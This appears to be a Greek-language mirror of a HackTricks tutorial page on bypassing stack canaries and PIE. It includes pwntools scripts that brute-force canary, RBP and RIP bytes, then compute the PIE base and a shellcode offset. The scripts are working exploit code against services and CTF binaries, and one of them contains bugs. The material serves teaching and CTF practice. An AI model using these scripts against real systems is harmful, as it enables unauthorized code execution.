mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
169 lines
14 KiB
Markdown
169 lines
14 KiB
Markdown
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|
||
|
||
|
||
**Εάν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και το PIE (Position Independent Executable), πιθανώς να χρειαστεί να βρείτε έναν τρόπο να τα παρακάμψετε.**
|
||
|
||
![](<../../.gitbook/assets/image (144).png>)
|
||
|
||
{% hint style="info" %}
|
||
Σημειώστε ότι το **`checksec`** μπορεί να μην ανιχνεύσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary εάν αυτό έχει συντακτεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
|
||
Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό εάν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν από την έξοδο.
|
||
{% endhint %}
|
||
|
||
# Βίαιη επίθεση στον Canary
|
||
|
||
Ο καλύτερος τρόπος να παρακάμψετε έναν απλό canary είναι εάν το δυαδικό αρχείο είναι ένα πρόγραμμα που **δημιουργεί νέες διεργασίες κάθε φορά που καθιερώνετε μια νέα σύνδεση** μαζί του (υπηρεσία δικτύου), επειδή κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιηθεί το ίδιο canary**.
|
||
|
||
Στη συνέχεια, ο καλύτερος τρόπος να παρακάμψετε τον canary είναι απλά να τον **επιτεθείτε βίαια χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε εάν το μάντεψε byte του canary ήταν σωστό ελέγχοντας εάν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει την κανονική του ροή. Σε αυτό το παράδειγμα η συνάρτηση **επιτίθεται βίαια σε ένα canary 8 Bytes (x64)** και διακρίνει ανάμεσα σε ένα σωστά μαντεμένο byte και ένα κακό byte απλά **ελέγχοντας** αν ένας **αποκριθείς** στέλνεται πίσω από τον διακομιστή (μια άλλη μέθοδος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):
|
||
|
||
## Παράδειγμα 1
|
||
|
||
Αυτό το παράδειγμα έχει υλοποιηθεί για 64bit αλλά μπορεί εύκολα να υλοποιηθεί για 32bit.
|
||
```python
|
||
from pwn import *
|
||
|
||
def connect():
|
||
r = remote("localhost", 8788)
|
||
|
||
def get_bf(base):
|
||
canary = ""
|
||
guess = 0x0
|
||
base += canary
|
||
|
||
while len(canary) < 8:
|
||
while guess != 0xff:
|
||
r = connect()
|
||
|
||
r.recvuntil("Username: ")
|
||
r.send(base + chr(guess))
|
||
|
||
if "SOME OUTPUT" in r.clean():
|
||
print "Guessed correct byte:", format(guess, '02x')
|
||
canary += chr(guess)
|
||
base += chr(guess)
|
||
guess = 0x0
|
||
r.close()
|
||
break
|
||
else:
|
||
guess += 1
|
||
r.close()
|
||
|
||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||
return base
|
||
|
||
canary_offset = 1176
|
||
base = "A" * canary_offset
|
||
print("Brute-Forcing canary")
|
||
base_canary = get_bf(base) #Get yunk data + canary
|
||
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
||
```
|
||
## Παράδειγμα 2
|
||
|
||
Αυτό υλοποιείται για 32 bits, αλλά μπορεί να αλλάξει εύκολα σε 64 bits.\
|
||
Επίσης, παρατηρήστε ότι για αυτό το παράδειγμα το **πρόγραμμα αναμένει πρώτα ένα byte για να υποδείξει το μέγεθος της εισόδου** και του φορτίου.
|
||
```python
|
||
from pwn import *
|
||
|
||
# Here is the function to brute force the canary
|
||
def breakCanary():
|
||
known_canary = b""
|
||
test_canary = 0x0
|
||
len_bytes_to_read = 0x21
|
||
|
||
for j in range(0, 4):
|
||
# Iterate up to 0xff times to brute force all posible values for byte
|
||
for test_canary in range(0xff):
|
||
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
||
|
||
# Send the current input size
|
||
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
||
|
||
# Send this iterations canary
|
||
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
||
|
||
# Scan in the output, determine if we have a correct value
|
||
output = target.recvuntil(b"exit.")
|
||
if b"YUM" in output:
|
||
# If we have a correct value, record the canary value, reset the canary value, and move on
|
||
print(" - next byte is: " + hex(test_canary))
|
||
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
||
len_bytes_to_read += 1
|
||
break
|
||
|
||
# Return the canary
|
||
return known_canary
|
||
|
||
# Start the target process
|
||
target = process('./feedme')
|
||
#gdb.attach(target)
|
||
|
||
# Brute force the canary
|
||
canary = breakCanary()
|
||
log.info(f"The canary is: {canary}")
|
||
```
|
||
# Εκτύπωση Canary
|
||
|
||
Ένας άλλος τρόπος για να παρακάμψετε το canary είναι να το **εκτυπώσετε**.\
|
||
Φανταστείτε μια κατάσταση όπου ένα πρόγραμμα ευάλωτο σε stack overflow μπορεί να εκτελέσει μια συνάρτηση **puts** που δείχνει σε μέρος του stack overflow. Ο επιτιθέμενος γνωρίζει ότι το **πρώτο byte του canary είναι ένα μηδενικό byte** (`\x00`) και τα υπόλοιπα bytes του canary είναι **τυχαία** bytes. Έπειτα, ο επιτιθέμενος μπορεί να δημιουργήσει ένα overflow που **αντικαθιστά το stack μέχρι το πρώτο byte του canary**.\
|
||
Στη συνέχεια, ο επιτιθέμενος **καλεί τη λειτουργικότητα puts** στη μέση του payload, η οποία θα **εκτυπώσει όλο το canary** (εκτός από το πρώτο μηδενικό byte).\
|
||
Με αυτές τις πληροφορίες, ο επιτιθέμενος μπορεί να **δημιουργήσει και να στείλει μια νέα επίθεση** γνωρίζοντας το canary (στην ίδια συνεδρία του προγράμματος)
|
||
|
||
Φυσικά, αυτή η τακτική είναι πολύ **περιορισμένη**, καθώς ο επιτιθέμενος πρέπει να είναι σε θέση να **εκτυπώσει** το **περιεχόμενο** του **payload** για να **αποκτήσει** το **canary** και στη συνέχεια να είναι σε θέση να δημιουργήσει ένα νέο payload (στην **ίδια συνεδρία του προγράμματος**) και να **στείλει** το **πραγματικό buffer overflow**.\
|
||
Παράδειγμα CTF: [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||
|
||
# PIE
|
||
|
||
Για να παρακάμψετε το PIE, πρέπει να **διαρρεύσετε μια διεύθυνση**. Και αν το δυαδικό δεν διαρρέει καμία διεύθυνση, το καλύτερο είναι να **δοκιμάσετε όλες τις πιθανές τιμές για το RBP και το RIP που αποθηκεύονται στο stack** στην ευάλωτη συνάρτηση.\
|
||
Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο το **canary** όσο και το **PIE**, μπορείτε να ξεκινήσετε τη δοκιμή όλων των πιθανών τιμών για το canary, και στη συνέχεια τα **επόμενα** 8 bytes (x64) θα είναι το αποθηκευμένο **RBP** και τα **επόμενα** 8 bytes θα είναι το αποθηκευμένο **RIP**.
|
||
|
||
Για να δοκιμάσετε όλες τις πιθανές τιμές για το RBP και το RIP από το δυαδικό, μπορείτε να καταλάβετε ότι ένα σωστά μαντεμένο byte είναι σωστό αν το πρόγραμμα εμφανίζει κάτι ή αν δεν καταρρέει. Η **ίδια συνάρτηση** που παρέχεται για τη δοκιμή του canary μπορεί να χρησιμοποιηθεί για τη δοκιμή του RBP και του RIP:
|
||
```python
|
||
print("Brute-Forcing RBP")
|
||
base_canary_rbp = get_bf(base_canary)
|
||
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
|
||
print("Brute-Forcing RIP")
|
||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||
```
|
||
## Λήψη βασικής διεύθυνσης
|
||
|
||
Το τελευταίο πράγμα που χρειάζεστε για να ξεπεράσετε το PIE είναι να υπολογίσετε **χρήσιμες διευθύνσεις από τις διαρρεύσεις** διευθύνσεων: το **RBP** και το **RIP**.
|
||
|
||
Από το **RBP** μπορείτε να υπολογίσετε **πού γράφετε το shell σας στο stack**. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string _"/bin/sh\x00"_ μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διαρρευμένου RBP και του shellcode σας, απλά τοποθετήστε ένα **σημείο διακοπής μετά τη διαρροή του RBP** και ελέγξτε **πού βρίσκεται ο κώδικας του shell σας**, στη συνέχεια, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:
|
||
```python
|
||
INI_SHELLCODE = RBP - 1152
|
||
```
|
||
Από το **RIP** μπορείτε να υπολογίσετε τη **βασική διεύθυνση του PIE δυαδικού** που θα χρειαστείτε για να δημιουργήσετε μια **έγκυρη αλυσίδα ROP**.\
|
||
Για να υπολογίσετε τη βασική διεύθυνση, απλώς εκτελέστε `objdump -d vunbinary` και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:
|
||
|
||
![](<../../.gitbook/assets/image (145).png>)
|
||
|
||
Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζεται μόνο **1 byte και μισό** για να εντοπιστεί όλος ο κώδικας, στη συνέχεια, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι το **διαρρευμένο RIP αλλά τελειώνοντας στο "000"**. Για παράδειγμα, αν διέρρευσε _0x562002970**ecf**_, η βασική διεύθυνση θα είναι _0x562002970**000**_.
|
||
```python
|
||
elf.address = RIP - (RIP & 0xfff)
|
||
```
|
||
<details>
|
||
|
||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||
|
||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||
|
||
</details>
|